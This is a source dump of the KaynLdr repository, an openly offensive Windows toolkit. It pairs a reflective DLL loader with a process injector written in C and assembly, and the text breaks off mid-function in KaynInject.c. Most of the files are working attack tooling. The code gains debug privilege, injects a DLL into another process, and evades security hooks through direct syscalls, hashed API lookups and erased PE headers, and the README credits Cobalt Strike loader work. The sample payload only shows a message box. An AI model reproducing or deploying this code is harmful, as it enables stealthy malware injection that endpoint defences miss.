├── KaynInject ├── src │ ├── Syscall.o │ ├── Syscall.s │ ├── Main.c │ ├── Syscall.c │ └── KaynInject.c ├── include │ ├── Syscall.h │ └── KaynInject.h └── makefile ├── .idea ├── KaynLdr.iml ├── misc.xml ├── vcs.xml ├── discord.xml ├── modules.xml └── workspace.xml ├── makefile ├── KaynLdr ├── makefile ├── include │ ├── KaynLdr.h │ ├── Macros.h │ └── Win32.h └── src │ ├── Util.s │ ├── DllMain.c │ ├── KaynLdr.c │ └── Win32.c └── README.md /KaynInject/src/Syscall.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cracked5pider/KaynLdr/HEAD/KaynInject/src/Syscall.o -------------------------------------------------------------------------------- /.idea/KaynLdr.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /makefile: -------------------------------------------------------------------------------- 1 | MAKEFLAGS += -s 2 | 3 | x64: 4 | echo "[*] Compile Kayn x64 Reflective Loader" 5 | cd KaynLdr; $(MAKE) x64 6 | echo "[*] Compile Kayn x64 Injector" 7 | cd KaynInject; $(MAKE) x64 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/discord.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /KaynInject/include/Syscall.h: -------------------------------------------------------------------------------- 1 | #ifndef KAYNINJECT_SYSCALL_H 2 | #define KAYNINJECT_SYSCALL_H 3 | 4 | #include 5 | 6 | // Get syscall ID 7 | WORD GetSyscall( LPVOID, PIMAGE_EXPORT_DIRECTORY, DWORD ); 8 | 9 | // Prepare and invoke syscall 10 | VOID SyscallPrepare( WORD ); 11 | NTSTATUS SyscallInvoke(); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /KaynInject/include/KaynInject.h: -------------------------------------------------------------------------------- 1 | #ifndef KAYNINJECT_KAYNINJECT_H 2 | #define KAYNINJECT_KAYNINJECT_H 3 | 4 | #include 5 | 6 | #define RVA_2_VA( T, B, R ) (T)( (PBYTE) B + R ) 7 | 8 | DWORD HashStringA(PCHAR String); 9 | DWORD KaynOffset( LPVOID lpBuffer, DWORD dwKaynEntryHash ); 10 | LPVOID KaynInject ( HANDLE hProcess, LPVOID lpBuffer, DWORD dwBufferSize, LPVOID lpParameter ); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /KaynLdr/makefile: -------------------------------------------------------------------------------- 1 | MAKEFLAGS += -s 2 | 3 | COMPILER_x86 = i686-w64-mingw32-gcc 4 | COMPILER_x64 = x86_64-w64-mingw32-gcc 5 | 6 | CFLAGS = -s -w -Wall -Wextra -masm=intel -shared -fPIC -e DllMain -Os -fno-asynchronous-unwind-tables 7 | 8 | INCLUDE = -I include 9 | SOURCE = $(wildcard src/*.c) 10 | 11 | x64: 12 | nasm -f win64 src/Util.s -o src/Util.o 13 | $(COMPILER_x64) src/*.o $(INCLUDE) $(SOURCE) $(CFLAGS) -o ../bin/KaynLdr.x64.dll -lntdll -luser32 -DWIN_X64 14 | rm src/*.o -------------------------------------------------------------------------------- /KaynInject/src/Syscall.s: -------------------------------------------------------------------------------- 1 | ; exported functions 2 | global SyscallPrepare 3 | global SyscallInvoke 4 | 5 | section .text 6 | 7 | ;; set syscall value in r11 register 8 | SyscallPrepare: 9 | nop 10 | xor r11, r11 11 | nop 12 | nop 13 | mov r11d, ecx 14 | ret 15 | 16 | ;; Invoke Syscall and pass given arguments 17 | SyscallInvoke: 18 | nop 19 | xor eax, eax 20 | mov r10, rcx 21 | nop 22 | mov eax, r11d 23 | nop 24 | syscall 25 | nop 26 | ret -------------------------------------------------------------------------------- /KaynInject/makefile: -------------------------------------------------------------------------------- 1 | MAKEFLAGS += -s 2 | 3 | COMPILER_x86 = i686-w64-mingw32-gcc 4 | COMPILER_x64 = x86_64-w64-mingw32-gcc 5 | 6 | CFLAGS = -masm=intel 7 | 8 | INCLUDE = -I include 9 | SOURCE = $(wildcard src/*.c) 10 | 11 | %.o : %.s 12 | nasm -f win64 $< -o $@ 13 | 14 | all: x64 x86 15 | 16 | x64: src/Syscall.o 17 | $(COMPILER_x64) src/*.o $(INCLUDE) $(SOURCE) $(CFLAGS) -o ../bin/KaynInject.x64.exe -DDEBUG -lntdll -DWIN_X64 18 | 19 | x86: 20 | $(COMPILER_x86) src/*.o $(INCLUDE) $(SOURCE) $(CFLAGS) -o ../bin/KaynInject.x86.exe -DDEBUG -lntdll 21 | -------------------------------------------------------------------------------- /KaynLdr/include/KaynLdr.h: -------------------------------------------------------------------------------- 1 | /** 2 | * KaynLdr 3 | * Author: Paul Ungur (@C5pider) 4 | */ 5 | 6 | #ifndef KAYNLDR_KAYNLDR_H 7 | #define KAYNLDR_KAYNLDR_H 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #define DLL_QUERY_HMODULE 6 14 | 15 | typedef struct { 16 | 17 | struct { 18 | WIN32_FUNC( LdrLoadDll ); 19 | WIN32_FUNC( NtAllocateVirtualMemory ) 20 | WIN32_FUNC( NtProtectVirtualMemory ) 21 | } Win32; 22 | 23 | struct { 24 | PVOID Ntdll; 25 | } Modules ; 26 | 27 | } INSTANCE, *PINSTANCE ; 28 | 29 | LPVOID KaynCaller(); 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /KaynLdr/include/Macros.h: -------------------------------------------------------------------------------- 1 | #ifndef KAYNLDR_MACROS_H 2 | #define KAYNLDR_MACROS_H 3 | 4 | #define HASH_KEY 5381 5 | 6 | #ifdef WIN_X64 7 | #define PPEB_PTR __readgsqword( 0x60 ) 8 | #else 9 | #define PPEB_PTR __readgsqword( 0x30 ) 10 | #endif 11 | 12 | #define MemCopy __builtin_memcpy 13 | #define NTDLL_HASH 0x70e61753 14 | 15 | #define SYS_LDRLOADDLL 0x9e456a43 16 | #define SYS_NTALLOCATEVIRTUALMEMORY 0xf783b8ec 17 | #define SYS_NTPROTECTEDVIRTUALMEMORY 0x50e92888 18 | 19 | #define DLLEXPORT __declspec( dllexport ) 20 | #define WIN32_FUNC( x ) __typeof__( x ) * x; 21 | 22 | #define U_PTR( x ) ( ( UINT_PTR ) x ) 23 | #define C_PTR( x ) ( ( LPVOID ) x ) 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /KaynLdr/src/Util.s: -------------------------------------------------------------------------------- 1 | ; KaynLdr 2 | ; Author: Paul Ungur (@C5pider) 3 | ; Credits: Austin Hudson (@ilove2pwn_), Chetan Nayak (@NinjaParanoid), Bobby Cooke (@0xBoku), @trickster012 4 | ; 5 | 6 | global KaynCaller 7 | 8 | section .text 9 | 10 | ; Shameless copied from Bobby Cooke CobaltStrikeReflectiveLoader (https://github.com/boku7/CobaltStrikeReflectiveLoader) 11 | KaynCaller: 12 | call pop 13 | pop: 14 | pop rcx 15 | loop: 16 | xor rbx, rbx 17 | mov ebx, 0x5A4D 18 | dec rcx 19 | cmp bx, word ds:[ rcx ] 20 | jne loop 21 | xor rax, rax 22 | mov ax, [ rcx + 0x3C ] 23 | add rax, rcx 24 | xor rbx, rbx 25 | add bx, 0x4550 26 | cmp bx, word ds:[ rax ] 27 | jne loop 28 | mov rax, rcx 29 | ret -------------------------------------------------------------------------------- /KaynLdr/include/Win32.h: -------------------------------------------------------------------------------- 1 | /** 2 | * KaynLdr 3 | * Author: Paul Ungur (@C5pider) 4 | */ 5 | 6 | #ifndef KAYNLDR_WIN32_H 7 | #define KAYNLDR_WIN32_H 8 | 9 | #include 10 | 11 | typedef struct { 12 | WORD offset :12; 13 | WORD type :4; 14 | } *PIMAGE_RELOC; 15 | 16 | PVOID KGetModuleByHash( DWORD hash ); 17 | PVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal ); 18 | PVOID KLoadLibrary( PINSTANCE Instance, LPSTR Module ); 19 | 20 | VOID KResolveIAT( PINSTANCE Instance, PVOID KaynImage, PVOID IatDir ); 21 | VOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID Dir ); 22 | 23 | DWORD KHashString( LPVOID String, SIZE_T Size ); 24 | SIZE_T KStringLengthA( LPCSTR String ); 25 | SIZE_T KStringLengthW( LPCWSTR String ); 26 | VOID KMemSet( PVOID Destination, INT Value, SIZE_T Size ); 27 | SIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ); 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # KaynLdr 3 | ### About 4 | KaynLdr is a Reflective Loader written in C / ASM. 5 | 6 | ### Features 7 | - Erases the DOS and NT header 8 | - Library/Api used: 9 | - ntdll.dll 10 | - LdrLoadDll 11 | - NtAllocateVirtualMemory 12 | - NtProtectVirtualMemory 13 | 14 | ### TODO 15 | - Add Hooks 16 | - x86 support 17 | 18 | ![Preview](https://pbs.twimg.com/media/FHe1LP-X0AoPxav?format=png&name=medium) 19 | 20 | ### Credits: 21 | - [@NinjaParanoid](https://twitter.com/NinjaParanoid): [PE Reflection: The King is Dead, Long Live the King](https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/) 22 | - [@0xBoku](https://twitter.com/0xBoku): [User Defined Cobalt Strike Loader](https://github.com/boku7/CobaltStrikeReflectiveLoader) 23 | - [@ilove2pwn_](https://twitter.com/ilove2pwn_): [TitanLdr](https://github.com/SecIdiot/TitanLdr) 24 | - [trickster0](https://twitter.com/trickster012) [TartarusGate](https://github.com/trickster0/TartarusGate/) direct syscall method 25 | -------------------------------------------------------------------------------- /KaynLdr/src/DllMain.c: -------------------------------------------------------------------------------- 1 | /** 2 | * KaynLdr 3 | * Author: Paul Ungur (@C5pider) 4 | */ 5 | 6 | #include 7 | #include 8 | 9 | HINSTANCE hAppInstance = NULL; 10 | 11 | BOOL WINAPI DllMain( HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpReserved ) 12 | { 13 | BOOL bReturnValue = TRUE; 14 | 15 | switch( dwReason ) 16 | { 17 | case DLL_QUERY_HMODULE: 18 | if( lpReserved != NULL ) 19 | *( HMODULE* ) lpReserved = hAppInstance; 20 | break; 21 | 22 | case DLL_PROCESS_ATTACH: 23 | { 24 | hAppInstance = hInstDLL; 25 | 26 | PCHAR HelloMsg = "Hello from KaynLdr"; 27 | PCHAR Buffer = HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, strlen( HelloMsg ) + 1 ); 28 | 29 | memcpy( Buffer, HelloMsg, strlen( HelloMsg ) + 1 ); 30 | 31 | MessageBoxA( NULL, Buffer, "KaynLdr", MB_OK ); 32 | HeapFree( GetProcessHeap(), 0, Buffer ); 33 | memset( Buffer, 0, strlen( HelloMsg ) ); 34 | 35 | ExitProcess( 0 ); 36 | } 37 | 38 | case DLL_PROCESS_DETACH: 39 | case DLL_THREAD_ATTACH: 40 | case DLL_THREAD_DETACH: 41 | break; 42 | } 43 | return bReturnValue; 44 | } -------------------------------------------------------------------------------- /KaynInject/src/Main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%ld", e, GetLastError() ); break; } 7 | 8 | int main( int argc, char * argv[] ) 9 | { 10 | HANDLE hFile = NULL; 11 | HANDLE hModule = NULL; 12 | HANDLE hProcess = NULL; 13 | HANDLE hToken = NULL; 14 | LPVOID lpBuffer = NULL; 15 | DWORD dwLength = 0; 16 | DWORD dwBytesRead = 0; 17 | DWORD dwProcessId = 0; 18 | TOKEN_PRIVILEGES priv = {0}; 19 | PCHAR cpDllFile = argv[2]; 20 | 21 | do 22 | { 23 | if( argc == 1 ) 24 | dwProcessId = GetCurrentProcessId(); 25 | else 26 | dwProcessId = atoi( argv[1] ); 27 | 28 | if( argc >= 3 ) 29 | cpDllFile = argv[2]; 30 | 31 | hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); 32 | if( hFile == INVALID_HANDLE_VALUE ) 33 | BREAK_WITH_ERROR( "Failed to open the DLL file" ); 34 | 35 | dwLength = GetFileSize( hFile, NULL ); 36 | if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) 37 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 38 | 39 | lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); 40 | if( !lpBuffer ) 41 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 42 | 43 | if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) 44 | BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); 45 | 46 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) 47 | { 48 | priv.PrivilegeCount = 1; 49 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 50 | 51 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) 52 | AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); 53 | 54 | CloseHandle( hToken ); 55 | } 56 | 57 | hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessId ); 58 | if( !hProcess ) 59 | BREAK_WITH_ERROR( "Failed to open the target process" ); 60 | 61 | hModule = KaynInject( hProcess, lpBuffer, dwLength, NULL ); 62 | if( !hModule ) 63 | BREAK_WITH_ERROR( "Failed to inject the DLL" ); 64 | 65 | printf( "[+] Injected the '%s' DLL into process %ld.\n", cpDllFile, dwProcessId ); 66 | 67 | WaitForSingleObject( hModule, -1 ); 68 | 69 | } while( 0 ); 70 | 71 | if( lpBuffer ) 72 | HeapFree( GetProcessHeap(), 0, lpBuffer ); 73 | 74 | if( hProcess ) 75 | CloseHandle( hProcess ); 76 | 77 | return 0; 78 | } -------------------------------------------------------------------------------- /.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 24 | 25 | 27 | 28 | 29 | 31 | 32 | 34 | 35 | 39 | 40 | 41 | 42 | 46 | 59 | 60 | 61 | 62 | 64 | 65 | 66 | 67 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 1652611699037 76 | 84 | 85 | 86 | 87 | 89 | -------------------------------------------------------------------------------- /KaynInject/src/Syscall.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | extern VOID SyscallPrepare( WORD ); 6 | extern NTSTATUS SyscallInvoke(); 7 | 8 | #define UP -32 9 | #define DOWN 32 10 | 11 | WORD GetSyscall( PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD FunctionSysHash ) 12 | { 13 | PDWORD AddressOfFunctions = RVA_2_VA( PDWORD, pModuleBase, pImageExportDirectory->AddressOfFunctions ); 14 | PDWORD AddressOfNames = RVA_2_VA( PDWORD, pModuleBase, pImageExportDirectory->AddressOfNames ); 15 | PWORD AddressOfNameOrdinals = RVA_2_VA( PWORD, pModuleBase, pImageExportDirectory->AddressOfNameOrdinals ); 16 | 17 | WORD wSystemCall = -1; 18 | 19 | for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) 20 | { 21 | PCHAR pczFunctionName = RVA_2_VA( PCHAR, pModuleBase, AddressOfNames[cx] ); 22 | PVOID pFunctionAddress = (PBYTE)pModuleBase + AddressOfFunctions[AddressOfNameOrdinals[cx]]; 23 | 24 | if ( HashStringA(pczFunctionName) == FunctionSysHash ) 25 | { 26 | if (*((PBYTE)pFunctionAddress) == 0x4c 27 | && *((PBYTE)pFunctionAddress + 1) == 0x8b 28 | && *((PBYTE)pFunctionAddress + 2) == 0xd1 29 | && *((PBYTE)pFunctionAddress + 3) == 0xb8 30 | && *((PBYTE)pFunctionAddress + 6) == 0x00 31 | && *((PBYTE)pFunctionAddress + 7) == 0x00) 32 | { 33 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4), 2); 34 | return wSystemCall; 35 | } 36 | 37 | if (*((PBYTE)pFunctionAddress) == 0xe9) 38 | { 39 | for (WORD idx = 1; idx <= 500; idx++) 40 | { 41 | if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c 42 | && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b 43 | && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1 44 | && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8 45 | && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00 46 | && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) 47 | { 48 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4 + idx * DOWN), 2); 49 | return wSystemCall; 50 | 51 | } 52 | 53 | if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c 54 | && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b 55 | && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1 56 | && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8 57 | && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00 58 | && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) 59 | { 60 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4 + idx * UP), 2); 61 | return wSystemCall; 62 | } 63 | 64 | } 65 | return FALSE; 66 | } 67 | if (*((PBYTE)pFunctionAddress + 3) == 0xe9) 68 | { 69 | for (WORD idx = 1; idx <= 500; idx++) 70 | { 71 | if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c 72 | && *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b 73 | && *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1 74 | && *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8 75 | && *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00 76 | && *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) 77 | { 78 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4 + idx * DOWN), 2); 79 | return wSystemCall; 80 | } 81 | 82 | if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c 83 | && *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b 84 | && *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1 85 | && *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8 86 | && *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00 87 | && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) 88 | { 89 | __builtin_memcpy(&wSystemCall, (pFunctionAddress + 4 + idx * UP), 2); 90 | return wSystemCall; 91 | } 92 | 93 | } 94 | return -1; 95 | } 96 | } 97 | } 98 | } -------------------------------------------------------------------------------- /KaynLdr/src/KaynLdr.c: -------------------------------------------------------------------------------- 1 | /** 2 | * KaynLdr 3 | * Author: Paul Ungur (@C5pider) 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | DLLEXPORT VOID KaynLoader( LPVOID lpParameter ) 11 | { 12 | INSTANCE Instance = { 0 }; 13 | HMODULE KaynLibraryLdr = NULL; 14 | PIMAGE_NT_HEADERS NtHeaders = NULL; 15 | PIMAGE_SECTION_HEADER SecHeader = NULL; 16 | LPVOID KVirtualMemory = NULL; 17 | DWORD KMemSize = 0; 18 | PVOID SecMemory = NULL; 19 | PVOID SecMemorySize = 0; 20 | DWORD Protection = 0; 21 | ULONG OldProtection = 0; 22 | PIMAGE_DATA_DIRECTORY ImageDir = NULL; 23 | 24 | // 0. First we need to get our own image base 25 | KaynLibraryLdr = KaynCaller(); 26 | 27 | // ------------------------ 28 | // 1. Load needed Functions 29 | // ------------------------ 30 | Instance.Modules.Ntdll = KGetModuleByHash( NTDLL_HASH ); 31 | 32 | Instance.Win32.LdrLoadDll = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_LDRLOADDLL, 0 ); 33 | Instance.Win32.NtAllocateVirtualMemory = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTALLOCATEVIRTUALMEMORY, 0 ); 34 | Instance.Win32.NtProtectVirtualMemory = KGetProcAddressByHash( &Instance, Instance.Modules.Ntdll, SYS_NTPROTECTEDVIRTUALMEMORY, 0 ); 35 | 36 | // --------------------------------------------------------------------------- 37 | // 2. Allocate virtual memory and copy headers and section into the new memory 38 | // --------------------------------------------------------------------------- 39 | NtHeaders = C_PTR( KaynLibraryLdr + ( ( PIMAGE_DOS_HEADER ) KaynLibraryLdr )->e_lfanew ); 40 | KMemSize = NtHeaders->OptionalHeader.SizeOfImage; 41 | 42 | if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemory( NtCurrentProcess(), &KVirtualMemory, 0, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) ) 43 | { 44 | // ---- Copy Sections into new allocated memory ---- 45 | SecHeader = IMAGE_FIRST_SECTION( NtHeaders ); 46 | for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) 47 | { 48 | MemCopy( 49 | C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress ), // Section New Memory 50 | C_PTR( KaynLibraryLdr + SecHeader[ i ].PointerToRawData ), // Section Raw Data 51 | SecHeader[ i ].SizeOfRawData // Section Size 52 | ); 53 | } 54 | 55 | // ---------------------------------- 56 | // 3. Process our images import table 57 | // ---------------------------------- 58 | ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 59 | if ( ImageDir->VirtualAddress ) 60 | KResolveIAT( &Instance, KVirtualMemory, C_PTR( KVirtualMemory + ImageDir->VirtualAddress ) ); 61 | 62 | // ---------------------------- 63 | // 4. Process image relocations 64 | // ---------------------------- 65 | ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 66 | if ( ImageDir->VirtualAddress ) 67 | KReAllocSections( KVirtualMemory, NtHeaders->OptionalHeader.ImageBase, C_PTR( KVirtualMemory + ImageDir->VirtualAddress ) ); 68 | 69 | // ---------------------------------- 70 | // 5. Set protection for each section 71 | // ---------------------------------- 72 | for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ ) 73 | { 74 | SecMemory = C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress ); 75 | SecMemorySize = SecHeader[ i ].SizeOfRawData; 76 | Protection = 0; 77 | OldProtection = 0; 78 | 79 | if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) 80 | Protection = PAGE_WRITECOPY; 81 | 82 | if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) 83 | Protection = PAGE_READONLY; 84 | 85 | if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) 86 | Protection = PAGE_READWRITE; 87 | 88 | if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) 89 | Protection = PAGE_EXECUTE; 90 | 91 | if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) ) 92 | Protection = PAGE_EXECUTE_WRITECOPY; 93 | 94 | if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) 95 | Protection = PAGE_EXECUTE_READ; 96 | 97 | if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) ) 98 | Protection = PAGE_EXECUTE_READWRITE; 99 | 100 | Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection ); 101 | } 102 | 103 | // -------------------------------- 104 | // 6. Finally executing our DllMain 105 | // -------------------------------- 106 | BOOL ( WINAPI *KaynDllMain ) ( PVOID, DWORD, PVOID ) = C_PTR( KVirtualMemory + NtHeaders->OptionalHeader.AddressOfEntryPoint ); 107 | KaynDllMain( KVirtualMemory, DLL_PROCESS_ATTACH, lpParameter ); 108 | } 109 | } -------------------------------------------------------------------------------- /KaynInject/src/KaynInject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | #include 6 | 7 | DWORD HashStringA(PCHAR String) 8 | { 9 | ULONG Hash = 5381; 10 | INT c; 11 | 12 | while (c = *String++) 13 | Hash = ((Hash << 5) + Hash) + c; 14 | 15 | return Hash; 16 | } 17 | 18 | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) 19 | { 20 | WORD wIndex = 0; 21 | PIMAGE_SECTION_HEADER pSectionHeader = NULL; 22 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 23 | 24 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); 25 | 26 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); 27 | 28 | if( dwRva < pSectionHeader[0].PointerToRawData ) 29 | return dwRva; 30 | 31 | for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) 32 | { 33 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) 34 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); 35 | } 36 | 37 | return 0; 38 | } 39 | 40 | DWORD KaynOffset( LPVOID lpReflectiveDllBuffer, DWORD dwKaynEntryHash ) 41 | { 42 | UINT_PTR uiBaseAddress = 0; 43 | UINT_PTR uiExportDir = 0; 44 | UINT_PTR uiNameArray = 0; 45 | UINT_PTR uiAddressArray = 0; 46 | UINT_PTR uiNameOrdinals = 0; 47 | DWORD dwCounter = 0; 48 | 49 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; 50 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 51 | 52 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 53 | uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); 54 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); 55 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 56 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 57 | 58 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; 59 | 60 | while( dwCounter-- ) 61 | { 62 | PCHAR cpExportedFunctionName = (PCHAR)(uiBaseAddress + Rva2Offset( *(PDWORD)uiNameArray, uiBaseAddress )); 63 | 64 | if( HashStringA(cpExportedFunctionName) == dwKaynEntryHash ) 65 | { 66 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 67 | uiAddressArray += ( *(PWORD)uiNameOrdinals * sizeof(DWORD) ); 68 | 69 | return Rva2Offset( *(PDWORD)uiAddressArray, uiBaseAddress ); 70 | } 71 | 72 | uiNameArray += sizeof(DWORD); 73 | uiNameOrdinals += sizeof(WORD); 74 | } 75 | 76 | return 0; 77 | } 78 | 79 | LPVOID KaynInject( HANDLE hProcess, LPVOID lpBuffer, DWORD dwBufferSize, LPVOID lpParameter ) 80 | { 81 | LPVOID lpRemoteLibraryBuffer = NULL; 82 | LPTHREAD_START_ROUTINE lpKaynLoader = NULL; 83 | HANDLE hThread = NULL; 84 | DWORD dwKaynLoaderOffset = 0; 85 | DWORD dwOldProtection = 0; 86 | DWORD dwVirtualSize = dwBufferSize; 87 | 88 | #ifdef WIN_X64 89 | PPEB pPeb = (PPEB)__readgsqword( 0x60 ); 90 | #else 91 | PPEB pPeb = (PPEB)__readgsqword( 0x30 ); 92 | #endif 93 | 94 | PLDR_DATA_TABLE_ENTRY pLdrDataEntry = ( PLDR_DATA_TABLE_ENTRY )( (PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10 ); 95 | PIMAGE_NT_HEADERS pImageNtHeaders = RVA_2_VA( PIMAGE_NT_HEADERS, pLdrDataEntry->DllBase, ((PIMAGE_DOS_HEADER)pLdrDataEntry->DllBase)->e_lfanew ); 96 | PIMAGE_EXPORT_DIRECTORY 